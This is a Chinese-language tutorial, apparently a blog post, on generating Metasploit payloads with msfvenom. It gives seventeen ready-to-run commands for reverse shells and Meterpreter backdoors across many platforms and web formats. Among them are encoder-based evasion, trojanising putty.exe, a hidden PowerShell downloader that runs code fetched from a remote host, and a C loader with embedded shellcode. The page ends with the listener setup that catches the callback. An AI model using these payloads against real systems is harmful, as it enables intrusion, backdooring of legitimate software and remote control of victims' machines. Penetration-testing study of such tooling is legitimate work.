msfvenom使用例項
metasploit framework下的msfpayload(荷載生成器),msfencoder(編碼器),msfcli(監聽介面)已然成為歷史,取而代之的是msfvenom 現在metasploit framework主要是msfvenom和msfcosole
msfvenom引數說明
當前版本 metasploit v4.17.15-dev
原版說明:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--smallest Generate the smallest possible payload using all available encoders
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
個人理解翻譯:
-l, --list <type> 列出指定型別的所有模組 型別包括: payloads, encoders, nops, platforms, archs, formats, all
-p, --payload <payload> 指定需要使用的payload(有效載荷)(--list payloads得到payload列表,--list-options得到指定payload的引數) 如果需要使用自定義的payload,請使用'-'或者stdin指定
--list-options 列出指定payload的標準,高階和規避選項 例如:msfvenom -p generic/shell_bind_tcp --list-options 將列出shell_bind_tcp這個payload的各種選項資訊
-f, --format <format> 指定輸出格式(使用 --list formats 列出所有的格式)
-e, --encoding <encoder> 要使用的編碼(使用 --list encoders 列出所有的編碼) 用於編碼加密
--smallest 使用所有可用的編碼器生成儘可能小的有效負載
-a, --arch <arch> 指定payload的目標CPU架構(使用 --list archs 列出所有的CPU架構)
--platform <platform> 指定payload的目標作業系統平臺(使用 --list platforms 列出所有的作業系統平臺)
-o, --out <path> 將payload儲存到檔案中
-b, --bad-chars <list> 指定不使用的字符集 例如:不使用'\x00\xff'這兩個字元
-n, --nopsled <length> 在payload上新增指定長度的nop指令
-s, --space <length> 設定payload的最大長度 即生成的檔案大小
--encoder-space <length> 設定編碼payload的最大長度(預設為-s的值)
-i, --iterations <count> 對payload進行編碼的次數
-c, --add-code <path> 指定一個自己的win32 shellcode檔案
-x, --template <path> 指定一個可執行程式 將payload捆綁其中
例如:原先有個正常檔案normal.exe 通過此選項把payload捆綁到這個程式上面
-k, --keep 針對-x中的捆綁程式 將建立新執行緒執行payload 一般情況-x -k選項一起使用
-v, --var-name <value> 指定用於某些輸出格式的自定義變數名稱
-t, --timeout <second> 從STDIN讀取有效負載時等待的秒數(預設為30, 0為禁用)
-h, --help 檢視幫助
msfvenom生成shellcode
例項1(簡單生成):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -f exe -o /Users/jiangzhehao/Downloads/1.exe
-p 指定payload,payload後跟該payload的選項
-o 指定payload的儲存路徑,包含檔名
例項2(替換指定程式碼):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -f exe -o /Users/jiangzhehao/Downloads/1.exe
-b 替換程式碼中會出現中斷的字元,如 '\x00\xff'
例項3(指定編碼器):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -e x86/shikata_ga_nai -f exe -o /Users/jiangzhehao/Downloads/1.exe
-e 指定特定的編碼器
例項4(繫結後門到其他可執行程式上):
msfvenom -p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 -x /Users/jiangzhehao/Downloads/putty.exe -k -f exe -o /Users/jiangzhehao/Downloads/puuty_bind.exe
-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 指定payload和payload的引數
-x /Users/jiangzhehao/Downloads/putty.exe執行要繫結的軟體
-k從原始的註檔案中分離出來,單獨建立一個程式
-f exe指定輸出格式
-o /Users/jiangzhehao/Downloads/puuty_bind.exe指定輸出路徑
例項5 Windows
msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
例項6 Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
例項7 MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
例項8 PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
例項9 Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
例項10 Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
例項11 JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
例項12 War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
例項13 Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
例項14 Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
例項15 Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
例項16 exe 利用exec執行powershell後門
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
例項17 輸出c格式 在vs中編譯生成
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.114.140 LPORT=5555 -f c
生成C版本的shellcode 放入vs工程中 編譯生成exe檔案
#include "windows.h"
#include "stdio.h"
unsigned char shellcode[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56"
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00"
"\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f"
"\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68"
"\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33"
"\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a"
"\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f"
"\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d"
"\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55"
"\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52"
"\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38"
"\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a"
"\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a"
"\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35"
"\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76"
"\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50"
"\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d"
"\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77"
"\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53"
"\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e"
"\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06"
"\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44"
"\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53"
"\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53"
"\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01"
"\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39"
"\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
msf設定監聽
當目標主機執行反彈式shellcode後 會回連當前機器 需要設定埠監聽
以例項17為例 將回連192.168.114.140的5555埠
設定監聽命令如下:
use exploit/multi/handler
set payloadwindows/meterpreter/reverse_http
set LHOST 192.168.114.140
set LPORT 5555
exploit -j
效果如圖
相關文章
- pinctrl使用例項
- expect使用例項
- tunna工具使用例項
- awk命令使用例項
- restorecon 命令使用例項REST
- Tee命令使用例項
- C# IDispose使用例項C#
- docker-compose 使用例項Docker
- cut命令的使用例項
- Linux中printf命令使用例項Linux
- Memcached安裝與使用例項
- iptables 常用規則使用例項
- Composer 使用 JWT 生成 TOKEN 例項JWT
- ActiveMQ的使用及整合spring的使用例項MQSpring
- Linux 中的 JQ 命令使用例項Linux
- Linux 中 ss 命令的使用例項Linux
- Linux中ip命令的使用例項Linux
- Tee命令的幾個使用例項
- Linux中的basename命令使用例項Linux
- 使用原生js實現選項卡功能例項教程JS
- 利用msfvenom生成木馬檔案
- php例項化物件的例項方法PHP物件
- MySQL共享鎖:使用與例項詳解MySql
- vue例項中watch屬性的使用Vue
- 使用 vue 例項更好的監聽事件Vue事件
- guava之ImmutableMap使用例項及好處Guava
- 編碼式事務管理使用例項
- JSTL的標籤及使用,包含例項JS
- [譯]使用JavaScript建立WebAssembly模組例項JavaScriptWeb
- 設計模式使用例項(5)——建造者模式例項之資料庫連線管理設計模式資料庫
- unittest例項
- OkHttpClient例項HTTPclient
- jQuery 例項jQuery
- 管理 Windows 例項的高效方法 —— 使用 WindowExtensions 類Windows
- 三大例項帶你搞定 Prometheus API 使用PrometheusAPI
- 例項演示如何使用CCE XGPU虛擬化GPU
- Linux系統中的basename命令使用例項Linux
- Linux中rsync備份資料使用例項Linux